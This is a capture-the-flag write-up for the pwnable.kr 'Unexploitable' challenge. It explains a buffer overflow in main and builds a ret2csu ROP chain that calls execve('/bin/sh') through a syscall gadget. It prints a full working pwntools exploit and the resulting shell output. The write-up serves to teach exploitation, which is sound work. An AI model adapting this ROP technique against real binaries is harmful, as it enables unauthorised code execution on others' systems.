pwnable.kr - Unexploitable

2020-08-18

The challenge named “Unexploitable” which is one of Hacker’s Secret and has 500 points.

Overview

The main function has few code.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400544 <+0>:	push   rbp
   0x0000000000400545 <+1>:	mov    rbp,rsp
   0x0000000000400548 <+4>:	sub    rsp,0x10
   0x000000000040054c <+8>:	mov    edi,0x3
   0x0000000000400551 <+13>:	mov    eax,0x0
   0x0000000000400556 <+18>:	call   0x400450 <sleep@plt>
   0x000000000040055b <+23>:	lea    rax,[rbp-0x10]
   0x000000000040055f <+27>:	mov    edx,0x50f
   0x0000000000400564 <+32>:	mov    rsi,rax
   0x0000000000400567 <+35>:	mov    edi,0x0
   0x000000000040056c <+40>:	mov    eax,0x0
   0x0000000000400571 <+45>:	call   0x400430 <read@plt>
   0x0000000000400576 <+50>:	leave  
   0x0000000000400577 <+51>:	ret    
End of assembler dump.

From above, we know that we can use two functions (sleep, read) and overflow the buffer.

Building Payload

I need the ability that writes and reads arbitrary memory or calls arbitrary code but all we have is just overflowable read functions in main. So, I looked through main function and found syscall gadget which can be used for getting shell.

...
0x0000000000400560 (main+28) : syscall
...

And also I found some gadgets that looks useful from ropshell.

csu_set:

0x4005e6 <__libc_csu_init+102>: mov rbx,QWORD PTR [rsp+0x8]
0x4005eb <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10]
0x4005f0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18]
0x4005f5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20]
0x4005fa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x4005ff <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x400604 <__libc_csu_init+132>: add rsp,0x38
0x400608 <__libc_csu_init+136>: ret

csu_call:

0x4005d0 <__libc_csu_init+80>: mov rdx,r15
0x4005d3 <__libc_csu_init+83>: mov rsi,r14
0x4005d6 <__libc_csu_init+86>: mov edi,r13d
0x4005d9 <__libc_csu_init+89>: call QWORD PTR [r12+rbx*8]

We can call arbitrary function with arbitrary arguments (max: 3) using this gadgets now. But for getting shell with syscall, we have to satisfy some condition. See Linux System Call Table For X86 64.

The pointer of filename - rdi - will be .bss section which has /bin/sh string. And rax, which has to be 59, will be set by the return value of read function.

Exploit

Full exploit code:

from pwn import *

csu_set = 0x4005e6
csu_call = 0x4005d0
main_addr = 0x400544
syscall_addr = 0x400560
read_got = 0x601000
sleep_got = 0x601010

bss = 0x601000
binsh = bss + 0x28 # 0x601028
rax_dummy = bss + 0x38 # 0x601038

def chain(func, arg1, arg2, arg3):
    payload = p64(0)
    payload += p64(0)
    payload += p64(1)
    payload += p64(func)
    payload += p64(arg1)
    payload += p64(arg2)
    payload += p64(arg3)

    payload += p64(csu_call)

    return payload

r = process("/home/unexploitable/unexploitable")
p = log.progress("Getting shell...")
p.status("Doing exploit... (1/2)")

sleep (3)

payload = "A"*24 + p64(csu_set) + chain(bss, 0, binsh, 0x8) + p64(main_addr)*10
r.send(payload)

sleep (0.5)

r.send("/bin/sh\x00")

sleep (3)

payload = "B"*24 + p64(csu_set) + chain(read_got, 0, sleep_got, 8) + chain(read_got, 0, rax_dummy, 59) + chain(sleep_got, binsh, 0, 0)
r.send(payload)

p.status ("Doing exploit... (2/2)")

sleep (0.5)

r.send(p64(syscall_addr))

sleep (0.5)

r.send("C"*59)

p.success("done ;)")

r.interactive()
unexploitable@pwnable:blahblah$ python attack.py
[+] Starting local process '/home/unexploitable/unexploitable': pid 426386
[+] Getting shell...: done ;)
[*] Switching to interactive mode
$ id
uid=1074(unexploitable) gid=1074(unexploitable) egid=1075(unexploitable_pwn) groups=1075(unexploitable_pwn),1074(unexploitable)